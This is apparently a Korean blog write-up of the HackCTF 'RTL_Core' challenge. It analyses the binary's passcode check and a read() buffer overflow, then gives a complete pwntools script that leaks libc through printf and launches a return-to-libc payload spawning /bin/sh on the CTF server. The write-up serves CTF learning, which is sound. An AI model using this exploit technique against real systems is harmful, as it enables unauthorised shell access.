RTL_Core 풀이

2021. 7. 18. 02:33HackCTF

728x90

문제 정보
문제에서 주어진 파일 (zip 파일로 주길래 풀었다)
적용된 보호기법
IDA로 main() 함수 디컴파일
rtlcore 파일 실행 결과

안내 문자열을 출력해주고, gets() 함수로 s를 입력받습니다.

그리고 if문으로 가면 check_passcode() 함수에 s를 인자 값으로 넣은 리턴 값이 hashcode와 같냐는 조건이 보입니다. 

hashcode는 이따가 주소 값을 좀 찾아보도록 하겠습니다.

그럼 이제 check_passcode() 함수를 분석해보겠습니다.

 

IDA로 check_passcode() 함수를 디컴파일

v2라는 int형 변수를 선언해서 0으로 초기화해줍니다.

그리고 0~5까지 for문을 돌려서 a1(main() 함수에서의 s)의 인자 값을 4byte씩 증가시키며 v2에 더해줍니다.

그리고 누적된 v2를 리턴합니다.

 

이제 hashcode의 주소 값을 확인해보겠습니다.

 

hashcode 주소값

0C0D9B0A7(10진수로 3235492007)

s에는 저 주소를 넣어주고 뒷부분을 0으로 채우면 될 것 같습니다.

 

이제 이 if문 조건식의 결과가 true라면 &byte_8048840를 출력해주고, core() 함수를 실행시킵니다.

여기서 &byte_8048840가 무엇인지 알기 위해 IDA의 Hex View로 보겠습니다.

 

Hex View

뭐라 뭐라 문자열을 출력하는 것 같습니다.

이 부분은 recvuntil로 거르면 될 것 같네요.

 

이제 core() 함수를 분석해보겠습니다.

 

IDA로 core() 함수를 디컴파일

memset() 함수는 그다지 중요해 보이지 않고, 하나하나 분석하기도 귀찮으니 그냥 넘어가겠습니다.

 

여기서 중요하게 봐야 할 부분은 read 부분입니다.

core() 함수의 return값은 read() 함수로 buf를 0x64만큼 입력받고, buf를 리턴합니다.

왠지 이 부분에서 Buffer Overflow가 날 것 같습니다.

실제로도 buf의 크기는 3E(10진수로 62)고, read로 입력받는 길이는 64(10진수로 100)이니 BOF가 발생합니다.

 

이제 분석은 끝났으니 어떻게 익스코드를 짤지 구상해보겠습니다.

 

우선 s는 0C0D9B0A7와 0을 입력하겠습니다.

그리고 출력된 printf() 함수의 주소 값을 이용해서 libc leak를 해줍니다.

 

그러므로 payload는 buf 크기만큼의 a + sfp 4 + system + dummy값 4 + /bin/sh 이렇게 구성될 것 같습니다.

그리고 이 payload를 가지고 buf를 입력받는 read() 함수에서 BOF를 발생시키면 될 것 같습니다.

 

from pwn import *

context.log_level='debug'

p=remote("ctf.j0n9hyun.xyz",3015)

e=ELF('./rtlcore')
libc=ELF('./libc.so.6')

payload_one=p32(0xC0D9B0A7)+p32(0)*4
p.sendlineafter(": ",payload_one)

p.recvuntil("0x")
printf=int("0x"+p.recv(8),16)

www=printf-libc.symbols['printf']
system=www+libc.symbols['system']
binsh=www+list(libc.search("/bin/sh"))[0]

payload_two='a'*66+p32(system)+'a'*4+p32(binsh)
p.sendline(payload_two)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

이번 문제는 익스코드를 짜는 게 많이 어려웠습니다.

헷갈리는 부분도 많아서 메모장에 써가며 한참 삽질하고, 코드도 3번 정도는 지웠다 다시 쓴 것 같습니다.

역시 250점 문제는 뭔가 달라도 다른 것 같습니다......

728x90

'HackCTF' 카테고리의 다른 글

You are silver 풀이  (0) 2021.11.22
RTL_World 풀이  (0) 2021.07.17
Offset 풀이  (0) 2021.07.14
Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13